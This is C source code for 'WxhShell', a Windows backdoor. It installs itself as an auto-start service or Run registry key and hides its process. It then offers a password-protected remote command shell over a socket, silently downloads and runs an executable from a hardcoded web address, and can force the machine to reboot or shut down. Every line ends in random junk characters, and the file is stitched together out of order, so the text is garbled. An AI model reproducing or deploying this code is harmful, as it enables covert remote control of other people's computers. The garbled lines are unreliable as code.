    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tY/En-&t  
    else { i<%m Iq1L  
    closesocket(wsh); ;\N79)Gk  
    ExitThread(0); /"=29sWB  
    } Bk,2WtVX  
    break; q75ky1^1:  
    } ]>5T}h  
  // 获取shell 9%sFJ  
  case 's': { d9O:,DKf  
    CmdShell(wsh); cZqfz  
    closesocket(wsh); *kP;{Cb`  
    ExitThread(0); 8tU>DJ}0  
    break; "tqnx?pM  
  } HmvsYP66  
  // 退出 hM?`x(P  
  case 'x': { Hi^35  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *oCxof9JA  
    CloseIt(wsh); _B)s=Snx  
    break; 2Kjrw;  
    } o&~dGG4J  
  // 离开 ;;:">@5  
  case 'q': { |2O')3p"9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xcst<=  
    closesocket(wsh); _=pWG^a  
    WSACleanup();  KyTuF   
    exit(1); iHPUmTus--  
    break; Z a! gbt  
        } `19qq]  
  } 6 jmrD  
  } yE#g5V&  
4sTMgBzw  
  // 提示信息 !x>,N%~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 69>/@<   
} I?B,sl_w  
  } 80C(H!^  
kVd5,Qd  
  return; 0Z"s_r}h  
} jgG$'|s}  
6D|p Qs  
// shell模块句柄 /hL\,x 2  
int CmdShell(SOCKET sock) g0PT8]8  
{ E, GN|l  
STARTUPINFO si; Qlw>+y-i  
ZeroMemory(&si,sizeof(si)); 9TC) w|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lbcy:E*g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~(P&g7u  
PROCESS_INFORMATION ProcessInfo; \^jjK,OK  
char cmdline[]="cmd"; :_v!#H)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q^L) Vp"  
  return 0; 3f"C!l]Xu  
} + ~ "5!  
\/ErPi=g  
// 自身启动模式 jXixVNw  
int StartFromService(void) e?b)p5g  
{ 5Q W}nRCZ  
typedef struct >p0KFU  
{ t8P PE  
  DWORD ExitStatus; _g~2R#2Q  
  DWORD PebBaseAddress; kO1}?dWpa  
  DWORD AffinityMask; Us]=Y}(  
  DWORD BasePriority; M diw Ri  
  ULONG UniqueProcessId; c;9.KCpwx  
  ULONG InheritedFromUniqueProcessId; 4ZwKpQ6  
}   PROCESS_BASIC_INFORMATION; \w%@?Qik  
^*0'\/N&  
PROCNTQSIP NtQueryInformationProcess; <`)iA-Df;9  
L_Q S0_1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (!3;X"l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hkege5{  
##cnFQCB  
  HANDLE             hProcess; &dr@6-xaq  
  PROCESS_BASIC_INFORMATION pbi; i)M EK#{  
le8 #Z}p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2Q@Y^t   
  if(NULL == hInst ) return 0; y\D=Z N@  
0mTr-`s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xR?V,uV'$&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Od##U6e`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %Ds+GM-  
Ab2Q \+,  
  if (!NtQueryInformationProcess) return 0; 2 o4^  
"u492^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !X]8dyW  
  if(!hProcess) return 0; uH:YKH':/  
\F{:5,Du)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :5b0np!  
~E)fpGJ  
  CloseHandle(hProcess); WF[bO7:  
F'FP0t!S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O6X"RsI}  
if(hProcess==NULL) return 0; C h19h8M  
1& ^?U{  
HMODULE hMod; '#.#$8l  
char procName[255]; "g0(I8  
unsigned long cbNeeded; 0 ipN8Pg+  
Hr^3`@}#1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g9~]s 9  
r|eZv<6  
  CloseHandle(hProcess); @kxel`,$e  
|gx ~ gG<  
if(strstr(procName,"services")) return 1; // 以服务启动 u5+|Su  
*2e!M^K<  
  return 0; // 注册表启动 }r%X`i|  
} O"Q7Rx  
) #+^ sAO  
// 主模块 l63hLz  
int StartWxhshell(LPSTR lpCmdLine) BUsV|e\  
{ _las;S'oa  
  SOCKET wsl; H43MoC  
BOOL val=TRUE; }Wh6zT)  
  int port=0; S6g<M5^R  
  struct sockaddr_in door;  }ptq )p  
b~w=v_[(I  
  if(wscfg.ws_autoins) Install(); te,[f  
Y`BRh9Sa  
port=atoi(lpCmdLine); (V?:]  
z~{&}Em ~  
if(port<=0) port=wscfg.ws_port; ypdT&5Mqb!  
m@Rtlb  
  WSADATA data; Ba'LRz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bd~1P/  
T.m mmT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -7{ $ Vj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ub amB+QT  
  door.sin_family = AF_INET; u0Nm.--;_3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wl- <HR!n  
  door.sin_port = htons(port); }`\/f  
eOI (6U!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CAD@XZSh  
closesocket(wsl); rsXq- Pq*  
return 1; p B;3bc  
} OI}cs2m  
&(N+.T5cp  
  if(listen(wsl,2) == INVALID_SOCKET) { .@F]Pht  
closesocket(wsl); = ieag7!  
return 1; ~j9O$s~)  
} 0#*Lw }qi  
  Wxhshell(wsl); .6f%?oo  
  WSACleanup(); 7msAhz  
$F'>yop2b  
return 0; DA&?e~L&H  
m P'^%TE  
} hr GH}CU"  
@]aOyb@  
// 以NT服务方式启动 "vZ!vt#'Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pr ]Ka  
{ TuDE@ gq(  
DWORD   status = 0; D BE4&  
  DWORD   specificError = 0xfffffff; Yz$3;  
$%R$ G`.KM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &<RpWAk{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~m^ #FJu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xx:F)A8O  
  serviceStatus.dwWin32ExitCode     = 0; {gbn/{  
  serviceStatus.dwServiceSpecificExitCode = 0; L;Z0`mdz  
  serviceStatus.dwCheckPoint       = 0; :Bu2,EL*O  
  serviceStatus.dwWaitHint       = 0; L|@y&di  
<FI-zca  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ma'FRt  
  if (hServiceStatusHandle==0) return; !V 2/A1?  
sZGj"_-Hzu  
status = GetLastError(); 6Htg5o|W  
  if (status!=NO_ERROR) F# T 07<  
{ ^z6_Uw[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jh2t9SI~  
    serviceStatus.dwCheckPoint       = 0; #n0Y6Pr  
    serviceStatus.dwWaitHint       = 0; RPd}Wf  
    serviceStatus.dwWin32ExitCode     = status; !`41q=r  
    serviceStatus.dwServiceSpecificExitCode = specificError; u VyGk~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2owEw*5jl/  
    return; o]:3H8  
  } o6 E!IX+  
 Jc&y9]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lKZB?Kk^w\  
  serviceStatus.dwCheckPoint       = 0; s, k  
  serviceStatus.dwWaitHint       = 0; \.YS%"Vz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )WT>@  
} %1}K""/  
D(-yjY8aG  
// 处理NT服务事件,比如:启动、停止 w }Uhd ,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o*U]v   
{ s*U1  
switch(fdwControl) Wjhvxk  
{ &nBa=Enf  
case SERVICE_CONTROL_STOP: J]f3CU,<N  
  serviceStatus.dwWin32ExitCode = 0; e@:sR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _4^R9Bt  
  serviceStatus.dwCheckPoint   = 0; l2N]a9bq@  
  serviceStatus.dwWaitHint     = 0; ^P151*=D  
  { nWQ;9_qBB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !*6CWV0  
  } `W/sP\3  
  return; #Zrlp.M4  
case SERVICE_CONTROL_PAUSE: =] *.ZH#h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mU}F!J#6  
  break; 4jD2FFG- G  
case SERVICE_CONTROL_CONTINUE: F1L:,.e`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a:QDBS2Llv  
  break; Uf}\p~;  
case SERVICE_CONTROL_INTERROGATE: M%jPH  
  break; Y"A/^]  
}; UfS%71l.$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p+)YTzzc  
} 3U_2!zF3_  
a7N!B'y  
// 标准应用程序主函数 3Zi@A4Wu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) da)NK!  
{ -B86U6^s  
^%O]P`$  
// 获取操作系统版本 xhcK~5C  
OsIsNt=GetOsVer(); ZXm/A0)S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y ')x/H  
0}_[DAd6  
  // 从命令行安装 giz7{Ai  
  if(strpbrk(lpCmdLine,"iI")) Install(); gz3pX#S  
{nLjY|*  
  // 下载执行文件 Qxj JN^Q  
if(wscfg.ws_downexe) { ,}K<*t[I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [jmd  
  WinExec(wscfg.ws_filenam,SW_HIDE); !.d@L6  
} O)vp~@ |  
b0oMs=uBn  
if(!OsIsNt) { -[-wkC8a  
// 如果时win9x,隐藏进程并且设置为注册表启动 RjN{%YkXe  
HideProc(); ..rOsg{  
StartWxhshell(lpCmdLine); "~'b  
} Yk=PS[f  
else ~6p[El#tS  
  if(StartFromService()) J H7<  
  // 以服务方式启动 *QH28%^  
  StartServiceCtrlDispatcher(DispatchTable); ynbuN x*  
else t.;LnrY  
  // 普通方式启动 ~?(N  
  StartWxhshell(lpCmdLine); rS;Dmm  
7Hs%Cc"  
return 0; EAM5{Nc  
} I'LnI*  
1')%`~  
SJHr_bawd  
6fw(T.Pe  
=========================================== DY`kx2e!  
;3@cy|\:  
j:VbrR  
b9l;a+]d  
OLE[UXD-E  
fZoHf\B]{  
" jbAx;Xt'=M  
`^)jLuyu  
#include <stdio.h> ' ET~  
#include <string.h> :2ED jW  
#include <windows.h> 2 O%`G+\)  
#include <winsock2.h> *6 >.!&  
#include <winsvc.h> >G%o,9i  
#include <urlmon.h> dUhY\v oQ  
}9FSO9*&}  
#pragma comment (lib, "Ws2_32.lib") 3U0`,c\ao*  
#pragma comment (lib, "urlmon.lib") [C'JH//q*t  
?U2<  
#define MAX_USER   100 // 最大客户端连接数 7Ve1]) u  
#define BUF_SOCK   200 // sock buffer a*&B`77`|  
#define KEY_BUFF   255 // 输入 buffer JT!9\i  
sr{a(4*\  
#define REBOOT     0   // 重启 6}!#;@D~  
#define SHUTDOWN   1   // 关机 Eq j_m|@  
,=[?yJy  
#define DEF_PORT   5000 // 监听端口 `9BROZnq  
o6uJyCO  
#define REG_LEN     16   // 注册表键长度 ~GZY5HF  
#define SVC_LEN     80   // NT服务名长度 Hhcpp7cr'  
rp ;b" q  
// 从dll定义API }F#okU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Pdf,2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IhVO@KJI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vwxXgk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GJ_7h_4  
QD0"rxZJ  
// wxhshell配置信息 )% ~OH  
struct WSCFG { a m|F?|1  
  int ws_port;         // 监听端口 73/P&hT  
  char ws_passstr[REG_LEN]; // 口令 *Qg_F6y  
  int ws_autoins;       // 安装标记, 1=yes 0=no >LOjV0K/  
  char ws_regname[REG_LEN]; // 注册表键名 pu2 tY7J a  
  char ws_svcname[REG_LEN]; // 服务名 )mF5Vw"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @}}$zv6l,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;6>2"{NW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]7Tkkw$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YTUZoW2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7+\+DujE$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =4FXBPoQK  
;wz^gdh;  
}; Utnr5^].2O  
ww], y@da  
// default Wxhshell configuration R}*_~7r5  
struct WSCFG wscfg={DEF_PORT, 8Dj c c z  
    "xuhuanlingzhe", *%%g{ 3$  
    1, X:vghOt?  
    "Wxhshell", w5Y04J  
    "Wxhshell", 7/I,HxXp!  
            "WxhShell Service", 3h$6t7=C  
    "Wrsky Windows CmdShell Service", < HVl(O  
    "Please Input Your Password: ", ]~'5\58sP  
  1, (>nGQS]H  
  "http://www.wrsky.com/wxhshell.exe", w9< R#y[A  
  "Wxhshell.exe" &L'Dqew,*  
    }; {xXsBh Y  
jIC_[  
// 消息定义模块 %C| n9*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '"SEw w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l`#4KCL(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pKpUXfQu  
char *msg_ws_ext="\n\rExit."; X-K=!pET  
char *msg_ws_end="\n\rQuit."; {zQ8)$CQ  
char *msg_ws_boot="\n\rReboot..."; ChGYTn`X   
char *msg_ws_poff="\n\rShutdown..."; au: fw  
char *msg_ws_down="\n\rSave to "; -zOdU}91Ao  
)u[emv$  
char *msg_ws_err="\n\rErr!"; A kC1z73<  
char *msg_ws_ok="\n\rOK!"; ;f#v0W`5  
PQ5QA61  
char ExeFile[MAX_PATH]; _m5uDF?[  
int nUser = 0; _Kl_61k  
HANDLE handles[MAX_USER]; Oo5w?+t  
int OsIsNt; `6~Aoe  
J^SdH&%Z  
SERVICE_STATUS       serviceStatus; a_f~N1kq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cW@Zd5&0S  
+ElfZ4  
// 函数声明 /Z'L^ L%R  
int Install(void); K|zZS%?$  
int Uninstall(void); 6jE |  
int DownloadFile(char *sURL, SOCKET wsh); &Sw%<N*r  
int Boot(int flag); JtYP E?  
void HideProc(void); IzikDc10  
int GetOsVer(void); )dbB =OZ  
int Wxhshell(SOCKET wsl); a{^m-fSaR"  
void TalkWithClient(void *cs); mF*2#]%dx  
int CmdShell(SOCKET sock); 0D\#Pq v  
int StartFromService(void); }X)&zenz  
int StartWxhshell(LPSTR lpCmdLine); ,':fu  
e:fy#,HEj{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xS4w5i2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8m2Tk\;:  
*|%@6I(  
// 数据结构和表定义 ZSjMH .Ij"  
SERVICE_TABLE_ENTRY DispatchTable[] = yu!h<nfzA  
{ Ugu[|,  
{wscfg.ws_svcname, NTServiceMain}, l{I6&^!KS  
{NULL, NULL} #5cEV'm;  
}; Cl; oi}L  
Rdvk ml@@  
// 自我安装 vQosPS_2L  
int Install(void) \?[v{WP)  
{ 5na~@-9p  
  char svExeFile[MAX_PATH]; Uc7mOa}4  
  HKEY key; S?1AFI9{   
  strcpy(svExeFile,ExeFile); xST8|H  
(eI5_`'VC  
// 如果是win9x系统,修改注册表设为自启动 JjPKR?[>  
if(!OsIsNt) { PF)jdcX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K1mPr^3rC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *"?l]d  
  RegCloseKey(key); *6sl   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K2M~-S3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qLn/2  
  RegCloseKey(key); +T|JK7  
  return 0; [ey:e6,T9  
    } ZZ2vvtlyG  
  } `Nz/O h7  
} 4r>6G/b8*  
else { Dv|#u|iw  
@mOH"acGn?  
// 如果是NT以上系统,安装为系统服务 k;K)xb[w|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U 9_9l7&r  
if (schSCManager!=0) (D#B_`;-  
{ Oft-w)cYz,  
  SC_HANDLE schService = CreateService ii[F]sR\  
  ( qkt0**\  
  schSCManager, = s>T;|  
  wscfg.ws_svcname, Vq2y4D?  
  wscfg.ws_svcdisp, .a O,8M  
  SERVICE_ALL_ACCESS, u$DHVRrF<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wvbf"hq  
  SERVICE_AUTO_START, kpJ@M%46  
  SERVICE_ERROR_NORMAL, sD{Wxv  
  svExeFile, F_w Z"e6  
  NULL, x2OaPlG,&V  
  NULL, {P*pk c  
  NULL, \|H!~)h$1  
  NULL, %eX{WgH  
  NULL E@@5BEB ~  
  ); 'Y*E<6:  
  if (schService!=0) ',Y.v"']4  
  { H5DC[bZMb%  
  CloseServiceHandle(schService); xbdN0MAU  
  CloseServiceHandle(schSCManager); rM`X?>iT+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iq8Grd L"  
  strcat(svExeFile,wscfg.ws_svcname); vI:;A/&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jr)1(**  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (!ZM{Js%  
  RegCloseKey(key); Q\^O64geD  
  return 0; S|SV$_ (  
    } xQ}pu2@d  
  } `z{%(_+[  
  CloseServiceHandle(schSCManager); )U~=Pf"  
} 'qZW,],5  
} U &C!}  
uD\?(LM  
return 1; <v)1<*I  
} DgUT5t1  
RHmgD;7`  
// 自我卸载 >"|B9Woc  
int Uninstall(void) I;e=0!9U  
{ \n$u)Xj~6^  
  HKEY key; h]Wr [v  
4lr(,nPRD  
if(!OsIsNt) { n"c)m%yZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H\h3 TdL  
  RegDeleteValue(key,wscfg.ws_regname); $w)!3c4  
  RegCloseKey(key); J2::'Hw*s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v4u5yy_;(  
  RegDeleteValue(key,wscfg.ws_regname); u?4:H=;>  
  RegCloseKey(key); d:#yEC  
  return 0; A0o-:n Fu  
  } ti5mIW\  
} GC>e26\:  
} 8B /\U'  
else { s8ywKTR-  
LgKaPg$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _Tf4WFu2  
if (schSCManager!=0) /M|2 62%  
{ UYk/v]ZA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K?[q% W]%  
  if (schService!=0) xDG2ws=@D  
  { + fC=UAZ  
  if(DeleteService(schService)!=0) { u$>4F|=T  
  CloseServiceHandle(schService); /RNIIY~w  
  CloseServiceHandle(schSCManager); kW *f.!  
  return 0; tQ8.f  
  } dYG,_ji  
  CloseServiceHandle(schService); v'U{/ ,x  
  } % 5m/  
  CloseServiceHandle(schSCManager); qAAX;N  
} Ir {OheJ  
} ruc++@ J@  
xAK6pDp  
return 1; lt ^GvWg  
} T^Y([23  
[h^2Y&Au5  
// 从指定url下载文件 M^O2\G#B  
int DownloadFile(char *sURL, SOCKET wsh) 8VeQ-#7M/  
{ isQ[ Gc!8  
  HRESULT hr; !B\R''J5  
char seps[]= "/"; ,VCyG:dw  
char *token; brW :C? }  
char *file; 3?c3<`TW  
char myURL[MAX_PATH]; 5k`l $mW{  
char myFILE[MAX_PATH]; %6t2ohO"  
)Hpa}FGT  
strcpy(myURL,sURL); Z)! qW?  
  token=strtok(myURL,seps); G!"YpYml  
  while(token!=NULL) d*jMZ%@uS  
  { ]QpWih00V  
    file=token; 87BHq)  
  token=strtok(NULL,seps); tZ'|DCT  
  } 6{"$nF]  
v:!Z=I}>  
GetCurrentDirectory(MAX_PATH,myFILE); A;*d}Xe&J  
strcat(myFILE, "\\"); S#MZV@nGF  
strcat(myFILE, file); E;Y;z  
  send(wsh,myFILE,strlen(myFILE),0); M!/Cknm  
send(wsh,"...",3,0); ]!I7Y.w6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); { vKLAxc  
  if(hr==S_OK) n&"B0ycF  
return 0; ]b\yg2  
else q?4p)@#   
return 1; -n=^U  
%e-7ubW  
} zb k q   
^5H >pat  
// 系统电源模块 .$qnZWcgG  
int Boot(int flag) <R''oEf9  
{ F$ #U5}Q  
  HANDLE hToken; U&Wt%U{  
  TOKEN_PRIVILEGES tkp; p^Ak1qm~e  
jFASX2.p  
  if(OsIsNt) { rf>0H^r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?$*SjZt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  1Md  
    tkp.PrivilegeCount = 1; ^su<uG<R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jzDuE{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d Vj_8>  
if(flag==REBOOT) { ;nodjbr,j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tKuVQH~D  
  return 0; yKa{08X:  
} 4Uphfzv3D  
else { o=50>$5jlS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7s/u(~d)  
  return 0; vr6MU<  
} Tw""}|] g  
  } G&i!Hs  
  else { (#Wu# F1;  
if(flag==REBOOT) { /W>iJfx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $oj:e?8N  
  return 0; PmKeF}  
} Bwa'`+bC  
else { KVn []@#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i+p^ ^t\  
  return 0; ,cB\  
} +z9Q-d%O  
} *v9 2  
d/BM&r  
return 1; LcUh;=r}&  
} I1pWaQ0  
-=~| ."O  
// win9x进程隐藏模块 ~$)2s7 O  
void HideProc(void) Pb1*\+  
{ VFRi1\G  
H@q?v+2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U*22h` S  
  if ( hKernel != NULL ) ujlY! -GM  
  { _H j!2 '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xs~[&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2w["aVr =  
    FreeLibrary(hKernel); $wo?!gt  
  } }T&iewk  
NYrQ$N"  
return; XZ^^%*ew  
} {ys=Ndo8  
{u#;?u=|  
// 获取操作系统版本 =<?+#-;p  
int GetOsVer(void) -Z 4e.ay5  
{ 555XCWyrC  
  OSVERSIONINFO winfo; DNr@u/>vB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wB!Nc Y\p  
  GetVersionEx(&winfo); WU71/PYm`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^Wt*  
  return 1; xT   
  else .(^ ,z&  
  return 0; m9.{[K"  
} ] lrWgm  
n[G&ksQI  
// 客户端句柄模块 2/"u5  
int Wxhshell(SOCKET wsl) >'&p>Ad)  
{ (oEC6F  
  SOCKET wsh; ?d{Na= O\  
  struct sockaddr_in client; xx#zN0I>-y  
  DWORD myID; hw= Ft4L  
3HcQ(+Z  
  while(nUser<MAX_USER) nlW +.a[  
{ Zc W:6po>  
  int nSize=sizeof(client); j2QmxTa!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /SrCElabP  
  if(wsh==INVALID_SOCKET) return 1; 45,1-? -!  
?u" 4@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mF,Y?ax  
if(handles[nUser]==0) zi]\<?\X  
  closesocket(wsh); &Low/Y'.jJ  
else |}(`kW  
  nUser++; FaDjLo2'o  
  } mP0yk|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m^ tFi7c  
y:~ZLTAv  
  return 0; C|}iCB  
} -o $QS,  
'}B+r@YCN  
// 关闭 socket Q9Kve3u-i  
void CloseIt(SOCKET wsh) Gn ~6X-l  
{ G!>z;5KuS  
closesocket(wsh); e\!0<d  
nUser--; t!r A%*  
ExitThread(0); j4|N- :  
} Kx;eaz:gx  
eHn7iuS8  
// 客户端请求句柄 {^\+iK4bS  
void TalkWithClient(void *cs) qI#;j%V  
{ +trC,D  
e?JW   
  SOCKET wsh=(SOCKET)cs; 1~Oe=`{&  
  char pwd[SVC_LEN]; `w.n]TR  
  char cmd[KEY_BUFF]; _"bHe/'CI  
char chr[1]; JM x>][xD  
int i,j; pe]A5\4c  
60J;sGW  
  while (nUser < MAX_USER) { G9xmmc  
:6vm+5!  
if(wscfg.ws_passstr) { 4^WpS/#4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E\as@pqo\p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YjxF}VI~<  
  //ZeroMemory(pwd,KEY_BUFF); =cm~vDl[  
      i=0; }o(zj=7  
  while(i<SVC_LEN) { C8Qa$._  
2+QYhdw  
  // 设置超时 WvBc#s-  
  fd_set FdRead; +nXK-g;)'  
  struct timeval TimeOut; c:<005\Bg  
  FD_ZERO(&FdRead); WST8SEzJ  
  FD_SET(wsh,&FdRead); Jk7|{W\OA  
  TimeOut.tv_sec=8; {`LU+  
  TimeOut.tv_usec=0; M>~Drul  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `$,GzS(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y9q8i(E0  
LBM ^9W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nbm&wa[  
  pwd=chr[0]; 1FlX'[vh  
  if(chr[0]==0xd || chr[0]==0xa) { U+:m4a  
  pwd=0; _+K_5IO4  
  break; \m(VdE  
  } K{|p~B  
  i++; 2R;}y7{  
    } Y9uC&/_C  
$c]fPt"i  
  // 如果是非法用户,关闭 socket D^l%{IG   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $8 UUzk  
} 3Z5D)zuc  
:=u?Fqqws  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xe{ !wX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vk77B(u  
O_wEcJPE  
while(1) { =e9>FWf>  
v!<gY m&  
  ZeroMemory(cmd,KEY_BUFF); 7"sD5N/>uh  
q8/MMKCbX  
      // 自动支持客户端 telnet标准   g.BdlVB\  
  j=0; q"\Z-D0B4  
  while(j<KEY_BUFF) { 7gj4j^a^]{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AgS 7J(^&3  
  cmd[j]=chr[0]; wQ^EYKD  
  if(chr[0]==0xa || chr[0]==0xd) { a%kQl^I4  
  cmd[j]=0; gp>3I!bo[K  
  break; g)#W>.Asd  
  } L^}_~PO N5  
  j++; ad*m%9Y1Q  
    } W-mQjJ`,B  
B:'J `M"N  
  // 下载文件 0AZ")<^~7  
  if(strstr(cmd,"http://")) { ZCmgs4W!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LAB=Vp1y3[  
  if(DownloadFile(cmd,wsh)) ,?>s>bHV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ii T"5`KY  
  else >/l? g5{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i,>khc  
  } K2TcOFQ  
  else { 5gYRwuf  
tSc Pa,(  
    switch(cmd[0]) { rp3V3]EE  
  0 ?s|i :  
  // 帮助 %j.0G`x9 +  
